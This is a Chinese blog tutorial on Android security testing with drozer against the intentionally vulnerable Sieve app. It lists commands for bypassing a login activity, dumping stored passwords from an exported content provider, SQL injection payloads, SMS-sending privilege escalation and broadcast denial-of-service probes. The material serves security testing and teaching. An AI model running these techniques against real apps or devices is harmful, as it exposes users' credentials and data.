安全測試|移動端安全測試drozer

手機應用的快速增長,手機應用安全成為一個熱門的話題,android的安全問題有一大部分的原因是因為android的組件暴露、權限使用不當導致的。

“?

隨著互聯網應用的普及和人們對互聯網的依賴,互聯網的安全問題也日益凸顯。接下來的小編將帶您進入安全測試。

一、android四大組件

什么是安卓應用組件?安卓主要由四大組件組成,Activity、Service、Content Providers、Broadcast Receivers.

Activity:是一個應用程序的組件,一個activity對應一個界面,是與用戶進行交互的。

Activity形態:

Active/Running:?

Activity處于活動狀態,此時Activity處于棧頂,是可見狀態,可與用戶進行交互。

Paused:?

當Activity失去焦點時,或被一個新的非全屏的Activity,或被一個透明的Activity放置在棧頂時,Activity就轉化為Paused狀態。但我們需要明白,此時Activity只是失去了與用戶交互的能力,其所有的狀態信息及其成員變量都還存在,只有在系統內存緊張的情況下,才有可能被系統回收掉。

Stopped:

當一個Activity被另一個Activity完全覆蓋時,被覆蓋的Activity就會進入Stopped狀態,此時它不再可見,但是跟Paused狀態一樣保持著其所有狀態信息及其成員變量。

Killed:

當Activity被系統回收掉時,Activity就處于Killed狀態。

Activity會在以上四種形態中相互切換,至于如何切換,這因用戶的操作不同而異。了解了Activity的4種形態后,我們就來聊聊Activity的生命周期。

ServiceService通常位于后臺運行,它一般不需要與用戶交互,因此Service組件沒有圖形用戶界面。Service組件需要繼承Service基類。Service組件通常用于為其他組件提供后臺服務或監控其他組件的運行狀態。

Content Providers:Content Provider用于保存和獲取數據,并使其對所有應用程序可見。這是不同應用程序間共享數據的唯一方式,因為android沒有提供所有應用共同訪問的公共存儲區。只有需要在多個應用程序間共享數據是才需要內容提供者。

Broadcast Receivers:廣播接收器沒有用戶界面。然而,它們可以啟動一個activity或service來響應它們收到的信息,或者用NotificationManager來通知用戶。通知可以用很多種方式來吸引用戶的注意力,例如閃動背燈、震動、播放聲音等。一般來說是在狀態欄上放一個持久的圖標,用戶可以打開它并獲取消息。

二、環境搭建

android sdk;

adb 安裝;

jdk安裝,這里需要是喲啊能1.7以下的jdk,使用1.8的會報錯,drozer暫不支持1.8的jdk

drozer安裝:

Drozer是一個常用的測試框架,它可以分為2個部分,一個是console-它運行在本地的計算機上,一個是server-它運行在android設備上。當你使用console與android設備交互時,基本上就是java代碼輸入到運行在實際設備上的drozer代理(agent)中。

drozer下載:https://labs.mwrinfosecurity.com/tools/drozer/ 下載drozer(msi)、agent.apk

Drozer安裝:windows下點擊msi直接安裝

agent安裝:在測試機上安裝agent.apk

sieve安裝:下載sieve.apk,該apk是用來作為被測試的app

三、drozer驗證

1.打開cmd,運行adb forward tcp:31415 tcp:31415,如圖所示?

2.在Android設備上開啟Drozer Agent,如圖所示:?

此時可以看到enable是綠色的了。

3.在pc端cmd切換到drozer安裝目前,然后運行 drozer console connect,如圖所示:

四、測試

1.獲取要測試應用的包名

dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一字段,會列出包含該字段的所有包名?

2.獲取應用的基本信息

dz>run app.package.info -a com.mwr.example.sieve?,查看該apk詳細信息,可以看到應用的版本信息,數據存儲的目錄,用戶ID,組ID,是否有共享庫,還有權限信息等?

3.確定存在可能被攻擊的界面

dz>run app.package.attacksurface com.mwr.example.sieve ?


顯示了潛在可以被利用的組件個數: “exported”表示組件可以被其他App使用, services is debuggable表示我們可以用adb綁定一個調試器到進程。暴露出來的3個activity,2個content provider,2個可以被adb綁定的service。

4.activity測試

(1)獲取activity信息

dz>run app.activity.info -a com.mwr.example.sieve

可以看到有三個界面是可以被利用的。?

(2)啟動activity

dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

通過app.activity.start命令可以不需要密碼直接進入passwordList界面

5.Content Provider測試

(1)獲取Content Provider信息

run app.provider.info -a com.mwr.example.sieve?

(2)Content Providers(數據泄露)

先獲取所有可以訪問的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve?

獲取各個Uri的數據:

dz>run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到數據說明存在漏洞

可以看到此時有一條數據,該條數據是之前在app添加的數據。這里暴露了service、username、password、email的信息。

(3)Content Providers(SQL注入)

content provider的具體信息,包括名字,權限,訪問路徑等

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

報錯則說明存在SQL注入,我們可以繼續查詢看看有哪些數據。?

列出所有表:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

獲取某個表(如Key)中的數據:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"?

(4)同時檢測SQL注入和目錄遍歷

dz>run scanner.provider.injection -a com.mwr.example.sieve

5.service測試

(1)獲取service詳情

dz>run app.service.info -a com.mwr.example.sieve

(2)權限提升

dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

6.broadcast receive測試

(1)查看暴露的廣播組件信息:

dz>run app.broadcast.info -a com.package.name

獲取broadcast receivers信息

dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

(2)嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):

dz>run app.broadcast.send 通過intent發送broadcast receiver

Drozer之所以稱之為框架(framework),因為它允許你編寫自己的模塊或者插件,擴展你的功能讓它試用你的功能。它的另外一個作用是,它本質上市一個不需要任何權限的android app—這實際上是它的組件。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • 用兩張圖告訴你,為什么你的 App 會卡頓? - Android - 掘金 Cover 有什么料? 從這篇文章中你...
    hw1212閱讀 12,864評論 2 59
  • 2.1 Activity 2.1.1 Activity的生命周期全面分析 典型情況下的生命周期:在用戶參與的情況下...
    AndroidMaster閱讀 3,094評論 0 8
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,869評論 18 139
  • 在春風得意之際跌下臺的人數不勝數,他們摔得很慘。腦漿涂地、血肉模糊。他們用鮮血和腦漿寫下的忠告就是——春風得意的時...
    遇見活在當下的自己閱讀 160評論 0 0
  • 我們不需要強迫自己改變,只需要從不同的角度發現自己的亮點就好。盡力做好自己能做的事,事情就會在你想不到的時候發生改...
    生如夏花2018閱讀 1,203評論 12 11